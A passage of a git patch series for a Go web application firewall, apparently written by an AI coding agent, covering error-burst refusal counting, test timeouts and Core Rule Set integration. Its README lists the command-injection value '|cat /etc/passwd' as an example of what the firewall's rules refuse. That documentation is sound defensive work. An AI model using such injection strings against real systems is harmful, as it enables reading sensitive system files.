b/internal/ratelimit/ratelimit_test.go index a6c20a7..79f3b59 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -248,6 +248,46 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) { wantBytesCount(t, limiter, client, start, 1000, "") } +func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}, tableSize) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + if _, over := limiter.CountRefusal(client, start, limit); over { + t.Fatalf("a refusal within the threshold of %d broke the error burst", limit) + } + } + + hit, over := limiter.CountRefusal(client, start, limit) + + want := ratelimit.Hit{ + Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1, + } + if !over || hit != want { + t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit, + want) + } + + // Half a minute into the next, half of those four still count, 2, and + // this one: 3, within the threshold. + hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) + if over || hit.Count != 3 { + t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false", + hit.Count, over) + } + + // A ban sets them back to zero. + limiter.Reset(client) + + hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) + if hit.Count != 1 { + t.Errorf("after a reset, %v refusals, want 1", hit.Count) + } +} + func TestCountGivesTheRequestsInEachWindow(t *testing.T) { t.Parallel() diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go index 01a2ba9..0685507 100644 --- a/internal/ratelimit/snapshot_test.go +++ b/internal/ratelimit/snapshot_test.go @@ -65,6 +65,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter.Count(client, start, whole) limiter.CountBytes(client, start, 5, whole) + limiter.CountRefusal(client, start, limit) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) loaded := func(now time.Time) ratelimit.Client { @@ -76,9 +77,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { return after.Snapshot()[0] } - // Two minutes on, the window that ends then covers neither of the - // minute's buckets, of requests and of bytes, which are emptied; the - // hour's and the day's stay, and so does the history. + // Two minutes on, the window that ends then covers none of the + // minute's buckets, of requests, of bytes and of refusals, which are + // emptied; the hour's and the day's stay, and so does the history. got := loaded(start.Add(2 * time.Minute)) if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 || got.Day.Current != 1 || got.History.Requests != 1 { @@ -91,11 +92,17 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { got.MinuteBytes, got.HourBytes, got.DayBytes) } + if got.MinuteRefusals != (ratelimit.Buckets{}) { + t.Errorf("loaded two minutes on with buckets of refusals %+v", + got.MinuteRefusals) + } + // A moment before, the window still covers some of the earlier one. got = loaded(start.Add(2*time.Minute - time.Nanosecond)) - if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 { - t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v", - got.Minute, got.MinuteBytes) + if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 || + got.MinuteRefusals.Current != 1 { + t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+ + "and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals) } } diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 802cee2..3f02e70 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -29,8 +29,9 @@ const ( // over a rate limit, which bans the client. ActionRateLimited = "rate_limited" // ActionBanned is a request refused because a ban covers its client, - // or because it matched a ban rule or the CrowdSec decision list lists - // its client, either of which bans the client. + // or because it matched a ban rule, asked for a trap path or the + // CrowdSec decision list lists its client, each of which bans the + // client. ActionBanned = "banned" // ActionRuleBlocked is a request refused because it matched a block // rule. @@ -48,9 +49,14 @@ const ( ) // OffenceLimit is the offence a request line names for a request that -// broke a rate limit, or whose bytes broke a byte limit. +// broke a rate limit or the error burst, or whose bytes broke a byte +// limit. const OffenceLimit = "limit" +// LimitHitErrorBurst is the limit_hit a request line names for a request +// that broke the error burst. +const LimitHitErrorBurst = "error_burst" + // timeLayout is RFC 3339 with milliseconds. const timeLayout = "2006-01-02T15:04:05.000Z07:00" @@ -138,7 +144,8 @@ type Line struct { RuleIDs []string `json:"rule_ids,omitempty"` // LimitHit is the window whose limit the request went over, named as // Counts names its count: minute, hour or day for a rate limit, and - // minute_bytes, hour_bytes or day_bytes for a byte limit. + // minute_bytes, hour_bytes or day_bytes for a byte limit; or + // LimitHitErrorBurst for the error burst. LimitHit string `json:"limit_hit,omitempty"` // Reputation are the URLs of the blocklists that list the client, then // that of the CrowdSec decision list when it does, then the DNSBL zones diff --git a/internal/rules/rules.go b/internal/rules/rules.go index f6f553c..f0de5b2 100644 --- a/internal/rules/rules.go +++ b/internal/rules/rules.go @@ -396,16 +396,23 @@ func (rule Rule) matches(r *http.Request) bool { return rule.regex.MatchString(value(rule.Target, r)) } +// Path returns r's path as the client sent it, before any decoding or +// re-encoding, up to the first ?: what a path rule is matched against. +func Path(r *http.Request) string { + path, _, _ := strings.Cut(pathAndQuery(r), "?") + + return path +} + // value returns what a rule with target, other than uri, is matched -// against in r: the path and the query as the client sent them, before -// any decoding or re-encoding, split at the first ?, and a header's values -// joined by ", ", as HTTP joins those of a header sent more than once. +// against in r: the path, as Path gives it, and the query as the client +// sent it, before any decoding or re-encoding, after the first ?, and a +// header's values joined by ", ", as HTTP joins those of a header sent +// more than once. func value(target string, r *http.Request) string { switch target { case "path": - path, _, _ := strings.Cut(pathAndQuery(r), "?") - - return path + return Path(r) case "query": _, query, _ := strings.Cut(pathAndQuery(r), "?") diff --git a/internal/state/state.go b/internal/state/state.go index eda3f57..b662075 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -679,8 +679,8 @@ func (f *bansFile) check(data []byte) error { } // check refuses a client without its address, which would count nobody's -// requests, or with requests or bytes in a window but no start, which -// would drop them and give the client a fresh allowance. +// requests, or with requests, bytes or refusals in a window but no start, +// which would drop them and give the client a fresh allowance. func (f *clientsFile) check([]byte) error { for i, client := range f.Clients { switch { @@ -698,6 +698,8 @@ func (f *clientsFile) check([]byte) error { return missing(i, "hour_bytes.start") case countsWithoutStart(client.DayBytes): return missing(i, "day_bytes.start") + case countsWithoutStart(client.MinuteRefusals): + return missing(i, "minute_refusals.start") } } @@ -898,8 +900,8 @@ func missingFromCounter(counter anomaly.Counter) string { } } -// countsWithoutStart reports whether b holds requests, or bytes, but no -// start, which places them in time. +// countsWithoutStart reports whether b holds requests, bytes or refusals +// but no start, which places them in time. func countsWithoutStart(b ratelimit.Buckets) bool { return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0) } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 77ec8d6..0a95f2e 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -639,6 +639,15 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) { + t.Parallel() + + wantRefused(t, clientsJSON, + `{"version": 1, "clients": [{"client": "203.0.113.9/32", `+ + `"minute_refusals": {"current": 2}}]}`, + `: entry 1 has no "minute_refusals.start"`) +} + func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { t.Parallel() From e81a7f0ca254fc05fc7778e3da48ab784b40baae Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 08:14:45 +0200 Subject: [PATCH 47/64] Tests that need a lookup answer give it an hour (closes #119) Twelve tests in internal/proxy needed the GeoJS stand-in to be asked or to answer within the default SWWAF_LOOKUP_TIMEOUT of one second on the real clock. A hold-up of the test process past it abandoned the request to the stand-in, or left the client unknown. Each now sets SWWAF_LOOKUP_TIMEOUT to an hour, and the comment on startGeoJS asks the same of later tests. Judgement call: set in each test, not as a default in newProxy, where it would change two tests that rely on the default second. Model: opus-5-5 --- internal/proxy/bans_test.go | 3 +++ internal/proxy/countries_test.go | 12 +++++++++--- internal/proxy/errorburst_test.go | 1 + internal/proxy/history_test.go | 1 + internal/proxy/lookup_test.go | 1 + internal/proxy/observe_test.go | 1 + internal/proxy/staticlists_test.go | 1 + 7 files changed, 17 insertions(+), 3 deletions(-) diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index fc27408..d6379d9 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -205,6 +205,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) { geojsURL, asked := startGeoJS(t) s, _, _ := startWithClock(t, geojsURL, map[string]string{ + lookupTimeout: "1h", rateLimitPerMinute: "1", banScopeV4Prefix: "24", deniedCountries: "kp", @@ -243,6 +244,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) { geojsURL, _ := startGeoJS(t) env := map[string]string{ + lookupTimeout: "1h", rateLimitPerMinute: "1", denyNets: denied, deniedCountries: "kp", @@ -268,6 +270,7 @@ func TestBanNotes(t *testing.T) { geojsURL, _ := startGeoJS(t) s, clk, server := startWithClock(t, geojsURL, map[string]string{ + lookupTimeout: "1h", rateLimitPerMinute: "1", deniedCountries: "kp", }) diff --git a/internal/proxy/countries_test.go b/internal/proxy/countries_test.go index e6d498a..a5e558f 100644 --- a/internal/proxy/countries_test.go +++ b/internal/proxy/countries_test.go @@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) { calls.Add(1) }) geojsURL, _ := startGeoJS(t) - env := map[string]string{trustedProxies: trustLocalhost} + env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"} maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -101,6 +101,7 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) { geojsURL, _ := startGeoJS(t) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ trustedProxies: trustLocalhost, + lookupTimeout: "1h", deniedCountries: "kp", }) @@ -147,6 +148,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ trustedProxies: trustLocalhost, + lookupTimeout: "1h", allowedCountries: "de", rateLimitPerMinute: "1", }) @@ -194,7 +196,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) geojsURL, asked := startGeoJS(t) - env := map[string]string{trustedProxies: trustLocalhost} + env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"} maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -280,7 +282,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) { // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // each in an AS of its own, and no other address. It returns its URL, and -// what returns the addresses it has been asked about. +// what returns the addresses it has been asked about. A test that needs +// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an +// hour, whether or not a request waits for the answer: on the default +// second, a hold-up of the test process can abandon the request to the +// stand-in, and leave the client unknown. func startGeoJS(t *testing.T) (string, func() []string) { t.Helper() diff --git a/internal/proxy/errorburst_test.go b/internal/proxy/errorburst_test.go index 5e777d5..6afde47 100644 --- a/internal/proxy/errorburst_test.go +++ b/internal/proxy/errorburst_test.go @@ -194,6 +194,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { geojsURL, _ := startGeoJS(t) s, _, server := startWithClock(t, geojsURL, map[string]string{ + lookupTimeout: "1h", errorBurstThreshold: "2", rulesDir: writeRules(t, testRules), countryLimitPercent: countryDEHalf, diff --git a/internal/proxy/history_test.go b/internal/proxy/history_test.go index 7514c59..ffaa9de 100644 --- a/internal/proxy/history_test.go +++ b/internal/proxy/history_test.go @@ -18,6 +18,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { geojsURL, _ := startGeoJS(t) s, clk, server := startWithClock(t, geojsURL, map[string]string{ + lookupTimeout: "1h", rateLimitPerMinute: "2", deniedCountries: "kp", }) diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go index f0192aa..5ba1094 100644 --- a/internal/proxy/lookup_test.go +++ b/internal/proxy/lookup_test.go @@ -249,6 +249,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { geojsURL, _ := startGeoJS(t) addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ trustedProxies: trustLocalhost, + lookupTimeout: "1h", addLookupHeaders: "true", }) s := &sender{t: t, addr: addr, out: out} diff --git a/internal/proxy/observe_test.go b/internal/proxy/observe_test.go index 8667af9..36a42bd 100644 --- a/internal/proxy/observe_test.go +++ b/internal/proxy/observe_test.go @@ -39,6 +39,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) { geojsURL, _ := startGeoJS(t) env := map[string]string{ + lookupTimeout: "1h", rateLimitPerMinute: "1", denyNets: denied, deniedCountries: "kp", diff --git a/internal/proxy/staticlists_test.go b/internal/proxy/staticlists_test.go index d757f19..ea7c67f 100644 --- a/internal/proxy/staticlists_test.go +++ b/internal/proxy/staticlists_test.go @@ -144,6 +144,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) { geojsURL, _ := startGeoJS(t) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ trustedProxies: trustLocalhost, + lookupTimeout: "1h", rateLimitExemptNets: listedAddr + "," + fromKP, deniedCountries: "kp", rateLimitPerMinute: "1", From 80f4c2cc619e0e8b23ffe2f1d62fbb4811fc8876 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 09:37:13 +0200 Subject: [PATCH 48/64] The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25) Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0) after the rule files, with the six changes and the default SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The parameter names in the third and fourth changes are matched in any case, as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999, smallwebwaf's own rules. A request with more than 1000 query parameters adds 5 (rule 900300). In block mode a match is refused with 403, an offence counted toward the error burst; in detect mode it is let through. Both log waf_rule_ids, waf_score and duration_waf, raise waf_block, and count smallwebwaf_waf_matches_total. Judgement call: waf_block is raised in block mode too. Deviation: no engine-error path; with no body read, Coraza cannot fail. Model: opus-5-5 --- README.md | 391 +++++++++++++++++----------- SPEC.md | 10 +- go.mod | 19 ++ go.sum | 55 ++++ internal/alerts/alerts.go | 4 +- internal/config/config.go | 122 ++++++++- internal/config/config_test.go | 112 +++++++++ internal/metrics/metrics.go | 16 +- internal/proxy/bans.go | 16 +- internal/proxy/bytelimits_test.go | 2 - internal/proxy/coreruleset.go | 82 ++++++ internal/proxy/coreruleset_test.go | 392 +++++++++++++++++++++++++++++ internal/proxy/errorburst_test.go | 2 - internal/proxy/proxy.go | 77 ++++-- internal/proxy/proxy_test.go | 11 +- internal/proxy/reputation_test.go | 6 +- internal/proxy/request.go | 46 ++-- internal/ratelimit/ratelimit.go | 23 +- internal/requestlog/requestlog.go | 18 +- internal/waf/waf.go | 228 +++++++++++++++++ internal/waf/waf_test.go | 322 ++++++++++++++++++++++++ 21 files changed, 1721 insertions(+), 233 deletions(-) create mode 100644 internal/proxy/coreruleset.go create mode 100644 internal/proxy/coreruleset_test.go create mode 100644 internal/waf/waf.go create mode 100644 internal/waf/waf_test.go diff --git a/README.md b/README.md index b75c840..95f9404 100644 --- a/README.md +++ b/README.md @@ -32,39 +32,43 @@ percentages fetched the same way, the DNS blocklists (DNSBL zones), which it asks about each client in the background, AbuseIPDB, which it asks in the background about each client that has committed an offence, and the decision list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. So -are two parts of the last stage, which need no Core Rule Set: the trap paths and -the error burst. `smallwebwaf` passes each request to the app and the app's -answer back, unchanged, within its timeouts and size limits, works out each -client's address, looks up its AS number and country unless you switch that off, -bans a client that sends too many requests or too many bytes, not counting those -for the paths you choose, with lower limits for the clients of the AS numbers -and countries you list, refuses a client that comes from a country you refuse or +is the last stage: attack detection with the OWASP Core Rule Set, run by Coraza, +on the method, the URL and the headers of each request, the trap paths and the +error burst. `smallwebwaf` passes each request to the app and the app's answer +back, unchanged, within its timeouts and size limits, works out each client's +address, looks up its AS number and country unless you switch that off, bans a +client that sends too many requests or too many bytes, not counting those for +the paths you choose, with lower limits for the clients of the AS numbers and +countries you list, refuses a client that comes from a country you refuse or from a network you refuse, refuses, limits or only notes a client a blocklist or a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, bans a client your CrowdSec engine's decision list lists until that decision ends, lets the networks you choose through, checks each request against the rule files and the trap paths you name and bans a client whose request is a clear -sign of attack, bans a client it refuses again and again within a minute for a -rule, a trap path or a missing or wrong token, keeps its bans, each client's +sign of attack, refuses a request the Core Rule Set takes for an attack, bans a +client it refuses again and again within a minute for a rule, a trap path, the +Core Rule Set or a missing or wrong token, keeps its bans, each client's counters and history, GeoJS's answers, the last good copy of each list it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks spent today in JSON files across restarts, takes in your edits of those files, such as a ban you make, keep or lift, and of the rule files while it runs, writes a JSON log line for every request, sends its log lines to a syslog server too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if -you name one, for each ban it makes or makes permanent, for traffic over an -anomaly threshold you set, for a client a blocklist, the CrowdSec decision list, -a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a -DNSBL zone or AbuseIPDB that fails or refuses a query and the day's AbuseIPDB -checks used up, for a rule file or state file with an error and for a -replacement of the lookup database it cannot read, serves Prometheus metrics to -a scraper that holds the metrics token, lets an admin who holds the admin token -list, add and lift bans and ask what it knows of a client, and in `observe` mode -passes on the requests it would refuse, logging what it would have done with -them. It comes as the image the app's own image is built on. The rest of the -design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +you name one, for each ban it makes or makes permanent, for a request the Core +Rule Set takes for an attack, for traffic over an anomaly threshold you set, for +a client a blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB +lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that +fails or refuses a query and the day's AbuseIPDB checks used up, for a rule file +or state file with an error and for a replacement of the lookup database it +cannot read, serves Prometheus metrics to a scraper that holds the metrics +token, lets an admin who holds the admin token list, add and lift bans and ask +what it knows of a client, and in `observe` mode passes on the requests it would +refuse, logging what it would have done with them. It comes as the image the +app's own image is built on. The Core Rule Set reads no request body yet: +`SWWAF_WAF_BODY_LIMIT`, which switches that on, comes with +https://git.eeqj.de/sneak/smallwebwaf/issues/116. The rest of the design comes +after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey +of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -121,13 +125,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of bans the client. A request whose path starts with one of `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither counted nor refused by the rate limits; the static lists, bans, the country - lists and the rule files still apply to it. A client is one IPv4 address, or - one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its address is in, a - /64 by default, since one abuser usually holds a whole /64. Each window is - counted in two fixed buckets, the earlier one weighted by how much of it the - window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` clients are kept, - 20,000 by default, the least recently seen dropped first, with their history, - and a restart gives no client a fresh allowance (see "State files" below). + lists, the rule files and the Core Rule Set still apply to it. A client is one + IPv4 address, or one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its + address is in, a /64 by default, since one abuser usually holds a whole /64. + Each window is counted in two fixed buckets, the earlier one weighted by how + much of it the window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` + clients are kept, 20,000 by default, the least recently seen dropped first, + with their history, and a restart gives no client a fresh allowance (see + "State files" below). - Counts each client's bytes over a minute, an hour and a day, in the same way: once a request passed to the app has ended, the body bytes of its answer, of the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any @@ -196,6 +201,44 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`. A client in `SWWAF_ALLOW_NETS` is not checked. +- Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza, + after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL + with the query, and its headers, but no request body and no response. Each of + its rules that matches adds to the request's anomaly score, up to the paranoia + level `SWWAF_WAF_PARANOIA_LEVEL` sets. A request with more than 1000 query + parameters adds 5 (rule 900300), as a rule rated critical does, since Coraza + reads only the first 1000. A score at or over `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 + by default, is a match: in `block` mode, the default, the request is refused + with `403`, and in `detect` mode it goes on to the app. Either way its log + line names the rules and the score (see `waf_rule_ids` and `waf_score` in + "Request log" below), and it raises a `waf_block` alert. A refusal bans no one + by itself, since the Core Rule Set takes some ordinary requests for attacks, + but it is an offence the client's history counts, and it counts toward the + error burst; a match in `detect` mode is neither. A request a rule file + refuses, one for a path `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a + client in `SWWAF_ALLOW_NETS` are not inspected. `smallwebwaf` changes the Core + Rule Set in six ways, so that gitea's ordinary requests get through, and no + setting undoes them: + - `PUT`, `PATCH` and `DELETE` are allowed besides `GET`, `HEAD`, `POST` and + `OPTIONS`; any other method stays refused. + - The headers `Expect` and `Content-Encoding` are allowed; the others the + Core Rule Set refuses, such as `Proxy` and `Content-Range`, stay refused. + - The query parameter `redirect_uri` is not checked for a URL naming an IP + address or `localhost` (rules 931100 and 934110), which Git Credential + Manager, git-credential-oauth and tea ask to be sent back to. + - The query parameters `path`, `files`, `skip-to`, `sub_path`, `ref`, `sha`, + `branch`, `workflow`, `artifactName` and `redirect_to` are not checked + against the lists of system files (930120), shell paths (932160) and + command names (932260), so that a file such as `.gitignore` or a branch + such as `docker-build` gets through there. So does what only these rules + refuse, such as `|cat /etc/passwd`; path traversal and SQL injection are + still refused there. These names, and `redirect_uri` above, are matched + without regard to case, as Coraza matches them, so `Path` or `PATH` is + treated as `path`. + - The cookies `gitea_flash` and `redirect_to` are not read, and `Referer` is + not checked for a Unix command given without arguments (932340) or for + Java starting a process (944110); it is checked by every other rule. + - Responses are not inspected. - Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by default, and any request from the netblock while it lasts makes it permanent. @@ -207,18 +250,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of path asked for, in place of the limit. - Bans a client that `smallwebwaf` refused more than `SWWAF_ERROR_BURST_THRESHOLD` times within a minute, 30 by default, after a - match of a `block` or `ban` rule or a trap path, or for a missing or wrong - token at one of its own endpoints, as a broken rate limit bans it. Each such - refusal is counted once it has been answered, in two buckets of a minute, as - the rate limits count requests. The refusal that takes the client over the - threshold breaks the error burst; it is answered as any other such refusal is, - and the client's next request is refused under the ban. The app's own answers, - such as its `401` and `404`, are not counted. The threshold is the same for - every client, whatever percentage of the rate limits a biased threshold or a - reputation source gives it. A client in `SWWAF_ALLOW_NETS` is not counted, and - one in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is. The ban's notes give `refusals` as - what the limit is on, the threshold as the limit, and the refusals counted in - the minute. + match of a `block` or `ban` rule, a trap path or the Core Rule Set, or for a + missing or wrong token at one of its own endpoints, as a broken rate limit + bans it. Each such refusal is counted once it has been answered, in two + buckets of a minute, as the rate limits count requests. The refusal that takes + the client over the threshold breaks the error burst; it is answered as any + other such refusal is, and the client's next request is refused under the ban. + The app's own answers, such as its `401` and `404`, are not counted. The + threshold is the same for every client, whatever percentage of the rate limits + a biased threshold or a reputation source gives it. A client in + `SWWAF_ALLOW_NETS` is not counted, and one in `SWWAF_RATE_LIMIT_EXEMPT_NETS` + is. The ban's notes give `refusals` as what the limit is on, the threshold as + the limit, and the refusals counted in the minute. - Looks up the AS number and country of every client through GeoJS, or in the IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and @@ -270,49 +313,50 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores it keeps. Only a client whose history counts an offence is checked, so far one that has broken a rate limit, a byte limit or the error burst, matched a ban - rule, asked for a trap path, or had a request refused by a block rule or for a - missing or wrong token, and only in the background, so that no request waits - for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and - `SWWAF_REPUTATION_ACTION` does with its client what it does with one a DNSBL - zone's verdict lists. The request's log line names AbuseIPDB, and it raises an - alert. A client a blocklist or a DNSBL zone refuses, or the CrowdSec decision - list bans, is not checked. + rule, asked for a trap path, or had a request refused by a block rule, by the + Core Rule Set or for a missing or wrong token, and only in the background, so + that no request waits for AbuseIPDB. A score at or over + `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and `SWWAF_REPUTATION_ACTION` does with + its client what it does with one a DNSBL zone's verdict lists. The request's + log line names AbuseIPDB, and it raises an alert. A client a blocklist or a + DNSBL zone refuses, or the CrowdSec decision list bans, is not checked. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits, - the trap paths, the rule files and the error burst, and is not looked up; the - timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is refused - with `SWWAF_BAN_RESPONSE` before its body is read, and the request is not - counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let - through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor - refused by the rate limits, and has no bytes counted by the byte limits; the - country lists, the trap paths, the rule files, the error burst and bans still + the trap paths, the rule files, the Core Rule Set and the error burst, and is + not looked up; the timeouts and size limits still apply. A client in + `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is + read, and the request is not counted for the rate limits; an address in + `SWWAF_ALLOW_NETS` too is let through. A client in + `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate + limits, and has no bytes counted by the byte limits; the country lists, the + trap paths, the rule files, the Core Rule Set, the error burst and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap - path or a rule would refuse: it passes them to the app, and their log lines - name what `enforce` mode would have done (see `would_action` in "Request log" - below). The checks run, and requests, bytes and refusals are counted, as in - `enforce` mode, with three differences: neither a broken rate limit, byte - limit or error burst, a `ban` rule, a trap path nor the CrowdSec decision list - makes a ban; a broken limit does not set the client's counters back to zero, - so each request over a rate limit is logged as one that would be refused, each - whose bytes keep the client over a byte limit as breaking it, and each refusal - that keeps it over the error burst as breaking that; and a request under a ban - does not make it permanent. As in `enforce` mode, the bytes counted are only - those of the requests `enforce` mode would have passed to the app, and the - refusals counted for the error burst only those it would have made: a request - it would have refused before it reached an endpoint is not counted for its - token. A ban it would have made, or made permanent, raises the alert `enforce` - mode would have raised, marked as what would have happened (see "Alerts" - below). The bans in `bans.json` are kept, and refuse requests again when - `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts - and size limits still apply, since they protect `smallwebwaf` and the app - themselves, and a request for one of `smallwebwaf`'s own endpoints without its - token is still answered `401`. It is for trying a configuration before - enforcing it. + path, a rule or the Core Rule Set would refuse: it passes them to the app, and + their log lines name what `enforce` mode would have done (see `would_action` + in "Request log" below). The checks run, and requests, bytes and refusals are + counted, as in `enforce` mode, with three differences: neither a broken rate + limit, byte limit or error burst, a `ban` rule, a trap path nor the CrowdSec + decision list makes a ban; a broken limit does not set the client's counters + back to zero, so each request over a rate limit is logged as one that would be + refused, each whose bytes keep the client over a byte limit as breaking it, + and each refusal that keeps it over the error burst as breaking that; and a + request under a ban does not make it permanent. As in `enforce` mode, the + bytes counted are only those of the requests `enforce` mode would have passed + to the app, and the refusals counted for the error burst only those it would + have made: a request it would have refused before it reached an endpoint is + not counted for its token. A ban it would have made, or made permanent, raises + the alert `enforce` mode would have raised, marked as what would have happened + (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests + again when `smallwebwaf` next runs in `enforce` mode, as long as they last. + The timeouts and size limits still apply, since they protect `smallwebwaf` and + the app themselves, and a request for one of `smallwebwaf`'s own endpoints + without its token is still answered `401`. It is for trying a configuration + before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -331,17 +375,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Sends every line it writes on stdout to a syslog server as well, while 